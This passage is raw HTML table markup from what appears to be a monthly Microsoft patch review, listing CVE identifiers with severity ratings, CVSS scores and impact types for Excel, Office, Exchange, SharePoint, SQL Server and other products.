  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
